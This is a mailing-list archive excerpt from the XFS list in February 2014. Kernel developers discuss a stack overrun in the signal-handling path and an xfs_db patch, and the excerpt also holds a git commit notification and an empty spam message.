b=vV4C0Xq5HthA+Gm0vYxLyaN0NVEnhN6bIbWktQarXJIY6H2k4WrSAC6YbOC6Xk66S1 RLUL1DvUZSsrA/R2tZf4NBKiTwl9Ae0dnF/6vRIGkNB1Us35gbSLHRNHChpuYUrgMuXF SdmU8jF4dqjJyNgkkEmRQsykaGBYK5p7ReCGAoo9q+X4lyeW6J38qCnXNuhO+3HOMFiF IIogeg8q3w5+yi2/0yDOLW84P/IyQSdeuRpDOQ+f7lhuKYYiDwBy6Aiuju2lT/XbT2Wa yE+Z9Vyr/B9Pz+MVJlYjsfl0vQe/SYg4SQt8UY0nKfQocK0si+gu1zUCGqk6SCy/bd9F uf5g== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=xfDgFQJobIJyxmGf0r7sekaEYJorCdqYs4kFM9Zhno4=; b=PBkwEcNJbJ/2paTYadOLN08ZvF7L8iWgJxyGsOL5cM9j0U+3omTI/hmEFHf1qy5HN2 18tSRrfveMv7x9N3rUvHqSF+TTJ8AQcA5cgkl8MHBm9NGvs+MVjDFWuAJjc8rfG6sSIf XNmFw5zxUIVWmsiJQJJ2JlHiwJkh863h7I0Wc= MIME-Version: 1.0 X-Received: by 10.58.37.232 with SMTP id b8mr2354683vek.27.1392235999306; Wed, 12 Feb 2014 12:13:19 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Wed, 12 Feb 2014 12:13:19 -0800 (PST) In-Reply-To: <20140212113928.GO18016@ZenIV.linux.org.uk> References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> Date: Wed, 12 Feb 2014 12:13:19 -0800 X-Google-Sender-Auth: pxORrkSP4cPaPAaczNRJC15i-Ok Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Al Viro Cc: Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f174.google.com[209.85.128.174] X-Barracuda-Start-Time: 1392236000 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145060 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Feb 12, 2014 at 3:39 AM, Al Viro wrote: > On Tue, Feb 11, 2014 at 10:28:12PM -0800, Linus Torvalds wrote: > >> It looks like just "do_signal()" has a stack frame that is about 230 >> bytes even under normal circumstancs (largely due to "struct ksignal" >> - which in turn is largely due to the insane 128-byte padding in >> siginfo_t). Add a few other frames in there, and I guess that if it >> was close before, the coredump path just makes it go off. > > We could, in principle, put it into task_struct and make get_signal() > return its address - do_signal() is called only in the code that does > assorted returns to userland... We have better uses for random buffers in "struct task_struct", I'd hate to put a siginfo_t there. The thing is, siginfo_t has that idiotic 128-byte area, but it's all "for future expansion". I think it's some damn glibc disease - we've seen these kinds of insane paddings before. The actual *useful* part of siginfo_t is on the order of 32 bytes. If that. Sad. Linus From viro@ftp.linux.org.uk Wed Feb 12 15:14:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B59377F50 for ; Wed, 12 Feb 2014 15:14:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 976FF304077 for ; Wed, 12 Feb 2014 13:14:32 -0800 (PST) X-ASG-Debug-ID: 1392239670-04cb6c6de1319340001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id ltpq2t8C2xtMAOjx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Feb 2014 13:14:30 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WDh8Q-0003ki-Is; Wed, 12 Feb 2014 21:14:22 +0000 Date: Wed, 12 Feb 2014 21:14:22 +0000 From: Al Viro To: Linus Torvalds Cc: Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212211421.GP18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392239670 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145061 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 12:13:19PM -0800, Linus Torvalds wrote: > On Wed, Feb 12, 2014 at 3:39 AM, Al Viro wrote: > > On Tue, Feb 11, 2014 at 10:28:12PM -0800, Linus Torvalds wrote: > > > >> It looks like just "do_signal()" has a stack frame that is about 230 > >> bytes even under normal circumstancs (largely due to "struct ksignal" > >> - which in turn is largely due to the insane 128-byte padding in > >> siginfo_t). Add a few other frames in there, and I guess that if it > >> was close before, the coredump path just makes it go off. > > > > We could, in principle, put it into task_struct and make get_signal() > > return its address - do_signal() is called only in the code that does > > assorted returns to userland... > > We have better uses for random buffers in "struct task_struct", I'd > hate to put a siginfo_t there. *nod* > The thing is, siginfo_t has that idiotic 128-byte area, but it's all > "for future expansion". I think it's some damn glibc disease - we've > seen these kinds of insane paddings before. > > The actual *useful* part of siginfo_t is on the order of 32 bytes. If that. > > Sad. Umm... What if we delay __sigqueue_free()? After all, that's where the fat sucker normally comes from. That way we might get away with much smaller structure on stack... Just introduce a small structure that would contain signr, uid, pid and pointer to struct sigqueue. And pass a pointer to _that_ all the way down to collect_signal(). Pointer's NULL == it's SI_USER with signr/uid/pid from the small struct and all other fields are zero. Pointer isn't NULL - use &small_struct->p->info. And have struct sigqueue actually freed via task_work_add() in that case. Do you see any fundamental problems with that? Looks like it would be faster as well - less copying involved... From david@fromorbit.com Wed Feb 12 15:14:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C2287F57 for ; Wed, 12 Feb 2014 15:14:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EAACFAC002 for ; Wed, 12 Feb 2014 13:14:43 -0800 (PST) X-ASG-Debug-ID: 1392239681-04cbb00c2a317200001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id qLRkogZ03tHrBFxL for ; Wed, 12 Feb 2014 13:14:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AncIANzj+1J5LJLw/2dsb2JhbABagwyDPrcwhVCBGBd0giUBAQU6HDMIAxgJJQ8FJQMhARKIBMkDFxaOaoQ4BJgpilCHUoNBKA Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail05.adl6.internode.on.net with ESMTP; 13 Feb 2014 07:44:39 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDh8f-0001uM-C2; Thu, 13 Feb 2014 08:14:37 +1100 Date: Thu, 13 Feb 2014 08:14:37 +1100 From: Dave Chinner To: Dave Jones , Al Viro , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212211437.GG13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212142538.GA11046@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212142538.GA11046@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1392239681 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145061 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 09:25:38AM -0500, Dave Jones wrote: > On Wed, Feb 12, 2014 at 05:10:38PM +1100, Dave Chinner wrote: > > On Wed, Feb 12, 2014 at 12:50:27AM -0500, Dave Jones wrote: > > > On Wed, Feb 12, 2014 at 04:40:43PM +1100, Dave Chinner wrote: > > > > > > > None of the XFS code disables interrupts in that path, not does is > > > > call outside XFS except to dispatch IO. The stack is pretty deep at > > > > this point and I know that the standard (non stacked) IO stack can > > > > consume >3kb of stack space when it gets down to having to do memory > > > > reclaim during GFP_NOIO allocation at the lowest level of SCSI > > > > drivers. Stack overruns typically show up with symptoms like we are > > > > seeing. > > > > .. > > > > > > > > Dave, before chasing ghosts, can you (like Eric originally asked) > > > > turn on stack overrun detection? > > > > > > CONFIG_DEBUG_STACKOVERFLOW ? Already turned on. > > > > That only checks stack usage when an interrupt is taken. If no > > interrupts are taken when stack usage is within 128 bytes of > > overflow, then it doesn't catch it. > > > > I tend to use CONFIG_DEBUG_STACK_USAGE=y as it records the maximum > > stack usage of a process via canary overwrites and it records it in > > do_exit(). > > I had that on too. The only message from it came from quite a while > before the trace that happened overnight.. Right, it won't capture an overrun at the point in time an overrun occurs, either, because it only checks when the process exits. But it does tell you what stack usage is being seen, as this: > [ 3415.655125] trinity-c0 (4383) used greatest stack depth: 992 bytes left > [12900.804230] BUG: sleeping function called from invalid context at mm/mempool.c:203 is a pretty a good indication that trinity is at risk of stack overuns... Cheers, Dave. -- Dave Chinner david@fromorbit.com From linus971@gmail.com Wed Feb 12 15:32:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 126FD7F52 for ; Wed, 12 Feb 2014 15:32:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E852230406A for ; Wed, 12 Feb 2014 13:32:57 -0800 (PST) X-ASG-Debug-ID: 1392240776-04cbb00c29318d20001-NocioJ Received: from mail-vb0-f50.google.com (mail-vb0-f50.google.com [209.85.212.50]) by cuda.sgi.com with ESMTP id BzJmBENzgITAUFBi (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 12 Feb 2014 13:32:56 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.50] Received: by mail-vb0-f50.google.com with SMTP id w8so7691100vbj.9 for ; Wed, 12 Feb 2014 13:32:55 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=2BWEZifKaySmKpj3guv694VQDRTiHzMRK4nPb/0JtKU=; b=PL1s2mksb+HzPdjltYQK//VHpyc4uPbMhwdkQ1N74fVpWkNmq+mCH2H64ouJGVHtBt JNi6txNlwTot3KZUJB9ZhM/aRt7tn7ywxnXuh/pw/s98AOBmUAHLolClm7ep9DKQ0RYp GX1SemZjbI4lTNfOB90GPwfhSCkFY6UcACyz7KO50PftVAFN8GDGOyDAd2C7HS9q52jm dv2z1d2TSVRwbdZ5R1mmRQyitkGu/TID/vUjB9XbsSrZ5n3OffwSQmGQLAgEaDElnh3K DTc9H+nR4ZxPslSIbSnBBtLNSuf/ZLfO8qGBqAHRIw4pYgLc1rG53LIef2075PKZvo4M n1yg== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=2BWEZifKaySmKpj3guv694VQDRTiHzMRK4nPb/0JtKU=; b=HYcETt7DTRiy824eFGK9cGEIdtVdZM/7+iLJi4jCTEe+7+/+oDzhxqz0cJbiMuG3M0 xz3iKABPlpn55G4779bhQVz5oN534GGrdmYXbiiSV70jyt7PlNfdkBqGII4jac37uQfZ 52KcgWdQ3Tr5N63i//yR4V69oGuySBU8QvGxo= MIME-Version: 1.0 X-Received: by 10.52.95.233 with SMTP id dn9mr28799264vdb.3.1392240775827; Wed, 12 Feb 2014 13:32:55 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Wed, 12 Feb 2014 13:32:55 -0800 (PST) In-Reply-To: <20140212211421.GP18016@ZenIV.linux.org.uk> References: <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> Date: Wed, 12 Feb 2014 13:32:55 -0800 X-Google-Sender-Auth: jJkWM1SIUIsU6ptTziwb_jI9EkQ Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Al Viro , Oleg Nesterov Cc: Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vb0-f50.google.com[209.85.212.50] X-Barracuda-Start-Time: 1392240776 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145062 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Feb 12, 2014 at 1:14 PM, Al Viro wrote: > > Umm... What if we delay __sigqueue_free()? After all, that's where the > fat sucker normally comes from. That way we might get away with much > smaller structure on stack... Sounds like the RightThing(tm) to do to me, and I don't see why it wouldn't work. We'd have to teach each user of "dequeue_signal()" to free the siginfo thing. Which shouldn't be too bad - I think we've collected all of that into generic code, and there isn't the mass or architecture code that knows about these things any more. But there are a few odd drivers etc and signalfd. I didn't look at what the lifetimes were. Adding Oleg to the cc, since any time we touch any of that code, he should be involved. Oleg - the issue is the biggish size of 'struct ksignal' on stack, brought on by the silly "put a whole siginfo_t in it". Linus From tinguely@sgi.com Wed Feb 12 15:37:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C9387F52 for ; Wed, 12 Feb 2014 15:37:10 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0880130406B; Wed, 12 Feb 2014 13:37:09 -0800 (PST) Message-ID: <52FBE989.1000304@sgi.com> Date: Wed, 12 Feb 2014 15:37:13 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_db: fix the setting of unaligned directory fields References: <20140210230923.268327906@sgi.com> <20140211013145.GA13647@dastard> <52FA3141.20901@sgi.com> <20140212002222.GO13647@dastard> In-Reply-To: <20140212002222.GO13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/11/14 18:22, Dave Chinner wrote: > On Tue, Feb 11, 2014 at 08:18:41AM -0600, Mark Tinguely wrote: >> On 02/10/14 19:31, Dave Chinner wrote: ... > Hence I'd suggest that "if (bit_field & NBBY) return NULL;" is > appropriate for hex block format input, and the input should never > be treated as a host-endian integer... > > Cheers, > > Dave. I don't like having the hex block format as an integer input. My change would change the result if used as an integer, I just trying to keep compatibility with the previous code. I will gladly leave the hex block input alone and remove the test that uses it as an integer. --Mark. From bpm@oss.sgi.com Wed Feb 12 15:42:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 5816E7F53; Wed, 12 Feb 2014 15:42:49 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-fixes-for-3.14-rc3, updated. xfs-for-linus-v3.14-rc1-2-12923-g55daffa X-Git-Refname: refs/heads/xfs-fixes-for-3.14-rc3 X-Git-Reftype: branch X-Git-Oldrev: 3895e51f6dbf6610519be070a3bede811f6ac4fb X-Git-Newrev: 55daffa4198b405c5f595d46b5556be2f650cdd4 Message-Id: <20140212214249.5816E7F53@oss.sgi.com> Date: Wed, 12 Feb 2014 15:42:47 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-fixes-for-3.14-rc3 has been updated 55daffa xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb from 3895e51f6dbf6610519be070a3bede811f6ac4fb (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 55daffa4198b405c5f595d46b5556be2f650cdd4 Author: Eric Sandeen Date: Tue Feb 11 16:46:55 2014 -0600 xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb My earlier commit 10e6e65 deserves a layer or two of brown paper bags. The logic in that commit means that a CRC failure on the primary superblock will *never* result in an error return. Hopefully this fixes it, so that we always return the error if it's a primary superblock, otherwise only if the filesystem has CRCs enabled. Signed-off-by: Eric Sandeen Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_sb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) hooks/post-receive -- XFS development tree From viro@ftp.linux.org.uk Wed Feb 12 15:44:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2080D7F52 for ; Wed, 12 Feb 2014 15:44:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 98441AC005 for ; Wed, 12 Feb 2014 13:44:18 -0800 (PST) X-ASG-Debug-ID: 1392241454-04cbb00c2a31a090001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id cVYF2E8HzewVDFsx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Feb 2014 13:44:15 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WDhbH-0003yT-68; Wed, 12 Feb 2014 21:44:11 +0000 Date: Wed, 12 Feb 2014 21:44:11 +0000 From: Al Viro To: Linus Torvalds Cc: Oleg Nesterov , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212214411.GQ18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392241455 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145062 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 01:32:55PM -0800, Linus Torvalds wrote: > On Wed, Feb 12, 2014 at 1:14 PM, Al Viro wrote: > > > > Umm... What if we delay __sigqueue_free()? After all, that's where the > > fat sucker normally comes from. That way we might get away with much > > smaller structure on stack... > > Sounds like the RightThing(tm) to do to me, and I don't see why it > wouldn't work. > > We'd have to teach each user of "dequeue_signal()" to free the siginfo > thing. Which shouldn't be too bad - I think we've collected all of > that into generic code, and there isn't the mass or architecture code > that knows about these things any more. But there are a few odd > drivers etc and signalfd. I didn't look at what the lifetimes were. Only signalfd, AFAICS. And there we'd want to use the same small structure - it's used in do { ret = signalfd_dequeue(ctx, &info, nonblock); if (unlikely(ret <= 0)) break; ret = signalfd_copyinfo(siginfo, &info); if (ret < 0) break; siginfo++; total += ret; nonblock = 1; } while (--count); and using a smaller struct would actually speed the things up - skips one copying. sigqueue would be freed as soon as we'd done signalfd_copyinfo() (if not by signalfd_copyinfo() itself). I'll try to put something along those lines together, if you or Oleg don't do it first. From info@trf.com Wed Feb 12 17:21:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=EMPTY_MESSAGE,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C88197F52 for ; Wed, 12 Feb 2014 17:21:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B735930406A for ; Wed, 12 Feb 2014 15:21:48 -0800 (PST) X-ASG-Debug-ID: 1392247307-04cbb00c2931f6f0001-w1Z2WR Received: from mail.indeci.gob.pe (mail.indeci.gob.pe [200.48.54.35]) by cuda.sgi.com with ESMTP id gr28BLSJFCZcIXdd for ; Wed, 12 Feb 2014 15:21:47 -0800 (PST) X-Barracuda-Envelope-From: info@trf.com X-Barracuda-Apparent-Source-IP: 200.48.54.35 Received: by mail.indeci.gob.pe (Postfix, from userid 65534) id 5B70D9724AE; Wed, 12 Feb 2014 17:47:39 -0500 (PET) Received: from 41.203.69.2 ([41.203.69.2]) by mail.indeci.gob.pe (Horde Framework) with HTTP; Wed, 12 Feb 2014 23:47:38 +0100 Message-ID: <20140212234738.69804aflozxov2g4@mail.indeci.gob.pe> Date: Wed, 12 Feb 2014 23:47:38 +0100 From: YUNG KIM Reply-To: yung.kim@qq.com To: undisclosed-recipients:; Subject: MIME-Version: 1.0 X-ASG-Orig-Subj: Content-Type: multipart/alternative; boundary="=_1c9h52qqcy68" Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.6) X-Barracuda-Connect: mail.indeci.gob.pe[200.48.54.35] X-Barracuda-Start-Time: 1392247307 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.40 X-Barracuda-Spam-Status: No, SCORE=2.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, EMPTY_MESSAGE, HTML_MESSAGE, MISSING_SUBJECT, MISSING_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145065 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 EMPTY_MESSAGE Message appears to have no textual parts and no Subject: text 0.01 MISSING_SUBJECT Missing Subject: header 0.50 BSF_SC0_SA620a Custom Rule SA620a 1.28 MISSING_SUBJECT_2 Missing Subject: header This message is in MIME format. --=_1c9h52qqcy68 Content-Type: text/plain; charset= Content-Description: Plaintext Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit --=_1c9h52qqcy68 Content-Type: text/html; charset= Content-Description: HTML Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit
